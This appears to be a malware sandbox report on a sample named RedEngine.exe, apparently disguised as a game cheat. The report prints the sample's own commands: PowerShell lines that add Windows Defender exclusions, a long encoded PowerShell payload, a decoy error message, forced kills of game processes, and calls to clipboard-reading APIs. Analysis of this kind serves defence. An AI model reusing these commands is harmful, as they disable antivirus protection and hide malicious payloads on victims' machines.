Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /tn "MyBatchScript"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\AppData"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\Local"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Process created: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe "C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im tf_win64.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im dota2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im cs2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im RustClient.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im GTA5.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im tf_win64.exe

Source: C:\Users\user\Desktop\RedEngine.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagiabab3acmapgbtahqayqbyahqalqbqahiabwbjaguacwbzacaacabvahcazqbyahmaaablagwabaagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaaigbbagqazaatafqaeqbwaguaiaataeeacwbzaguabqbiagwaeqboageabqblacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsapaajageadabyacmapgbbafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwauae0azqbzahmayqbnaguaqgbvahgaxqa6adoauwboag8adwaoaccarqbyahiabwbyacaaiwa4adeaoqa6acaaqwbhag4abgbvahqaiabzahqayqbyahqaiabkahuazqagahqabwagag0aaqbzahmaaqbuagcaiabkaguacablag4azablag4aywbpaguacwasacaacabsaguayqbzaguaiabpag4acwb0ageababsacaayqbsagwaiab0aggazqagagqazqbwaguabgbkaguabgbjagkazqbzacaacgblaheadqbpahiazqbkac4ajwasaccajwasaccatwblaccalaanaeuacgbyag8acganackapaajagiacqbzacmapga7aciaowa8acmazqbtahyaiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwb1agoazgajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwb1aheabqajad4aiaataeyabwbyagmazqagadwaiwb3ahcaeaajad4aowakahcaywagad0aiaaoae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqakqa7acqababuagsaiaa9acaajab3agmalgbeag8adwbuagwabwbhagqauwb0ahiaaqbuagcakaanaggadab0ahaacwa6ac8alwbyaguabgb0ahiaeqauag8acgbnac8acabhag4aywblagsangaxadeamqaxadeamqaxadeamqaxadeamqaxac8acgbhahcajwapac4auwbwagwaaqb0acgawwbzahqacgbpag4azwbbaf0axqaiagaacgbgag4aigasacaawwbtahqacgbpag4azwbtahaababpahqatwbwahqaaqbvag4acwbdadoaogboag8abgblackaowagacqazgbuacaapqagafsauwb5ahmadablag0algbjae8algbqageadaboaf0aoga6aecazqb0afiayqbuagqabwbtaeyaaqbsaguatgbhag0azqaoackaowagagyabwbyacaakaakagkapqawadsaiaakagkaiaatagwadaagacqababuagsalgbmaguabgbnahqaaaa7acaajabpacsakwapacaaewagacqadwbjac4arabvahcabgbsag8ayqbkaeyaaqbsaguakaakagwabgbrafsajabpaf0alaagadwaiwbtagmadaajad4aiaaoaeoabwbpag4alqbqageadaboacaapaajagoabqbpacmapgagac0auabhahqaaaagacqazqbuahyaogbbahaacabeageadabhacaapaajagkazwbuacmapgagac0aqwboagkababkafaayqb0aggaiaaoacqazgbuacaakwagacqaaqauafqabwbtahqacgbpag4azwaoackaiaaracaajwauaguaeablaccakqapackaiab9adwaiwb2agkaeaajad4aowagagyabwbyacaakaakagkapqawadsaiaakagkaiaatagwadaagacqababuagsalgbmaguabgbnahqaaaa7acaajabpacsakwapacaaewagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagadwaiwb3aguadaajad4aiaaoaeoabwbpag4alqbqageadaboacaalqbqageadaboacaajablag4adga6aeeacabwaeqayqb0ageaiaa8acmadgb2ahgaiwa+acaalqbdaggaaqbsagqauabhahqaaaagacgajabmag4aiaaracaajabpac4avabvafmadabyagkabgbnacgakqagacsaiaanac4azqb4aguajwapackaiab9acaapaajahgababpacmapga="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" add-type -assemblyname system.windows.forms;<#atr#>[system.windows.forms.messagebox]::show('error #819: cannot start due to missing dependencies, please install all the dependencies required.','','ok','error')<#bqs#>;
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -noninteractive -command "add-mppreference -exclusionpath %userprofile%\appdata" & powershell.exe -inputformat none -outputformat none -noninteractive -command "add-mppreference -exclusionpath %userprofile%\local" & powershell.exe -command "set-mppreference -exclusionextension '.exe','.py'""
Source: C:\Users\user\Desktop\RedEngine.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagiabab3acmapgbtahqayqbyahqalqbqahiabwbjaguacwbzacaacabvahcazqbyahmaaablagwabaagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaaigbbagqazaatafqaeqbwaguaiaataeeacwbzaguabqbiagwaeqboageabqblacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsapaajageadabyacmapgbbafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwauae0azqbzahmayqbnaguaqgbvahgaxqa6adoauwboag8adwaoaccarqbyahiabwbyacaaiwa4adeaoqa6acaaqwbhag4abgbvahqaiabzahqayqbyahqaiabkahuazqagahqabwagag0aaqbzahmaaqbuagcaiabkaguacablag4azablag4aywbpaguacwasacaacabsaguayqbzaguaiabpag4acwb0ageababsacaayqbsagwaiab0aggazqagagqazqbwaguabgbkaguabgbjagkazqbzacaacgblaheadqbpahiazqbkac4ajwasaccajwasaccatwblaccalaanaeuacgbyag8acganackapaajagiacqbzacmapga7aciaowa8acmazqbtahyaiwa+acaaqqbkagqalqbnahaauabyaguazgblahiazqbuagmazqagadwaiwb1agoazgajad4aiaataeuaeabjagwadqbzagkabwbuafaayqb0aggaiabaacgajablag4adga6afuacwblahiauabyag8azgbpagwazqasacqazqbuahyaogbtahkacwb0aguabqbeahiaaqb2aguakqagadwaiwb1aheabqajad4aiaataeyabwbyagmazqagadwaiwb3ahcaeaajad4aowakahcaywagad0aiaaoae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqakqa7acqababuagsaiaa9acaajab3agmalgbeag8adwbuagwabwbhagqauwb0ahiaaqbuagcakaanaggadab0ahaacwa6ac8alwbyaguabgb0ahiaeqauag8acgbnac8acabhag4aywblagsangaxadeamqaxadeamqaxadeamqaxadeamqaxac8acgbhahcajwapac4auwbwagwaaqb0acgawwbzahqacgbpag4azwbbaf0axqaiagaacgbgag4aigasacaawwbtahqacgbpag4azwbtahaababpahqatwbwahqaaqbvag4acwbdadoaogboag8abgblackaowagacqazgbuacaapqagafsauwb5ahmadablag0algbjae8algbqageadaboaf0aoga6aecazqb0afiayqbuagqabwbtaeyaaqbsaguatgbhag0azqaoackaowagagyabwbyacaakaakagkapqawadsaiaakagkaiaatagwadaagacqababuagsalgbmaguabgbnahqaaaa7acaajabpacsakwapacaaewagacqadwbjac4arabvahcabgbsag8ayqbkaeyaaqbsaguakaakagwabgbrafsajabpaf0alaagadwaiwbtagmadaajad4aiaaoaeoabwbpag4alqbqageadaboacaapaajagoabqbpacmapgagac0auabhahqaaaagacqazqbuahyaogbbahaacabeageadabhacaapaajagkazwbuacmapgagac0aqwboagkababkafaayqb0aggaiaaoacqazgbuacaakwagacqaaqauafqabwbtahqacgbpag4azwaoackaiaaracaajwauaguaeablaccakqapackaiab9adwaiwb2agkaeaajad4aowagagyabwbyacaakaakagkapqawadsaiaakagkaiaatagwadaagacqababuagsalgbmaguabgbnahqaaaa7acaajabpacsakwapacaaewagafmadabhahiadaatafaacgbvagmazqbzahmaiaataeyaaqbsaguauabhahqaaaagadwaiwb3aguadaajad4aiaaoaeoabwbpag4alqbqageadaboacaalqbqageadaboacaajablag4adga6aeeacabwaeqayqb0ageaiaa8acmadgb2ahgaiwa+acaalqbdaggaaqbsagqauabhahqaaaagacgajabmag4aiaaracaajabpac4avabvafmadabyagkabgbnacgakqagacsaiaanac4azqb4aguajwapackaiab9acaapaajahgababpacmapga="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" add-type -assemblyname system.windows.forms;<#atr#>[system.windows.forms.messagebox]::show('error #819: cannot start due to missing dependencies, please install all the dependencies required.','','ok','error')<#bqs#>;	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -noninteractive -command "add-mppreference -exclusionpath %userprofile%\appdata" & powershell.exe -inputformat none -outputformat none -noninteractive -command "add-mppreference -exclusionpath %userprofile%\local" & powershell.exe -command "set-mppreference -exclusionextension '.exe','.py'""

Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000261E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: mgne4i3n.t1d0.exe, 0000000B.00000002.1678511629.000000000261E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe

Code function: 14_2_00007FF741BE8880 cpuid

14_2_00007FF741BE8880

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Code function: OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GetLocaleInfoA,GlobalUnlock,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,	31_2_00007FFB01998660
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GetLocaleInfoA,GlobalUnlock,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,CloseClipboard,	42_2_00007FFB1C5A8660
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Code function: InitCommonControlsEx,RegisterClassW,GetKeyboardLayout,GetLocaleInfoW,TranslateCharsetInfo,	42_2_00007FFB1C5C6890

Source: C:\Users\user\Desktop\RedEngine.exe	Queries volume information: C:\Users\user\Desktop\RedEngine.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Queries volume information: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl8\8.4 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl8\8.5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI15482\tcl VolumeInformation	Jump to behavior
